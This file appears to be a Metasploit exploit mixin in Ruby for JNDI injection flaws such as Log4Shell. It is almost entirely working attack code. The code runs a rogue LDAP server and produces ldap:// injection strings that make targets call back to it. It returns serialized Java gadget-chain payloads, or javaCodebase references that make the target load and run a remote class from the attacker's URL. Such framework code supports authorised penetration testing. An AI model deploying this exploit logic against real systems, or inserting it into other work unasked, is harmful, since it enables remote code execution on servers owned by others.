# -*- coding: binary -*-

#
# This is a mixin containing methods to facilitate exploiting JNDI injection flaws (such as Log4Shell) by using a
# malicious LDAP server.
#
# See:
#   https://www.veracode.com/blog/research/exploiting-jndi-injections-java
#   https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
#

module Msf
module Exploit::Remote::JndiInjection
  include Msf::Exploit::Java
  include Msf::Exploit::JavaDeserialization
  include Msf::Exploit::Remote::LDAP::Server

  def initialize(info = {})
    super(update_info(info,
      'Stance' => Msf::Exploit::Stance::Aggressive))

    register_advanced_options([
      OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
    ])
  end

  # Create the JNDI injection string that will trigger an LDAP connection back to Metasploit.
  #
  # @return [String] the JNDI string
  def jndi_string(resource = nil)
    resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}"
    "ldap://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{resource}"
  end

  ## LDAP service callbacks
  #
  # Handle incoming requests via service mixin
  #
  def on_dispatch_request(client, data)
    return if data.strip.empty?

    data.extend(Net::BER::Extensions::String)
    begin
      pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
      vprint_status("LDAP request data remaining: #{data}") unless data.empty?
      resp = case pdu.app_tag
             when Net::LDAP::PDU::BindRequest # bind request
               client.authenticated = true
               service.encode_ldap_response(
                 pdu.message_id,
                 Net::LDAP::ResultCodeSuccess,
                 '',
                 '',
                 Net::LDAP::PDU::BindResult
               )
             when Net::LDAP::PDU::SearchRequest # search request
               if client.authenticated || datastore['LDAP_AUTH_BYPASS']
                 client.write(build_ldap_search_response(pdu.message_id, pdu.search_parameters[:base_object]))
                 service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
               else
                 service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
               end
             when Net::LDAP::PDU::UnbindRequest
               vprint_status("Client sent unbind request")
               nil # close client, no response can be sent over unbound comm
             else
               vprint_status("Client sent unexpected request #{pdu.app_tag}")
               nil # close client, can't handle the unknown
             end
      resp.nil? ? client.close : on_send_response(client, resp)
    rescue StandardError => e
      print_error("Failed to handle LDAP request due to #{e}")
      client.close
    end

    resp
  end

  #
  # Generate and serialize the payload as an LDAP search response
  #
  # @param msg_id [Integer] LDAP message identifier
  # @param base_dn [Sting] LDAP distinguished name
  #
  # @return [Array] packed BER sequence
  def build_ldap_search_response(msg_id, base_dn)
    attrs = build_ldap_search_response_payload
    appseq = [
      base_dn.to_ber,
      attrs.to_ber_sequence
    ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
    [ msg_id.to_ber, appseq ].to_ber_sequence
  end

  #
  # Build the LDAP response to the search request that contains the serialized payload.
  #
  # @return [Array] the array of attributes to add to the returned search data of the query response.
  def build_ldap_search_response_payload
    # exploit authors should override this and either call the inline one with a gadget chain that is compatible with
    # the target or setup an HTTP server and call the remote one
    build_ldap_search_response_payload_inline('BeanFactory')
  end

  #
  # Build the LDAP response to the search request that contains the serialized payload to be executed.
  #
  # @param [String] gadget_chain The gadget chain to use to execute the payload. This value must be compatible with the
  #   target application.
  # @return [Array] the array of attributes to add to the returned search data of the query response.
  def build_ldap_search_response_payload_inline(gadget_chain)
    java_payload = generate_java_deserialization_for_payload(gadget_chain, payload)
    [
      [ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,
      [ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence
    ]
  end

  #
  # Build the LDAP response to the search request that contains a reference to an HTTP server from which a remote class
  # will be loaded. The target must have the trusted code base option enabled for this technique to work. The HTTP
  # server from which the class is hosted is not managed by this method.
  #
  # @param [String] pay_url The URL from which the class should be loaded.
  # @param [String] pay_class The payload class name.
  # @return [Array] the array of attributes to add to the returned search data of the query response.
  def build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.PayloadFactory')
    [
      [ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
      [ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
      [ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,
      [ 'javaCodebase'.to_ber, [ pay_url.to_ber ].to_ber_set ].to_ber_sequence,
    ]
  end

  def validate_configuration!
    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
      fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
    end
  end
end
end
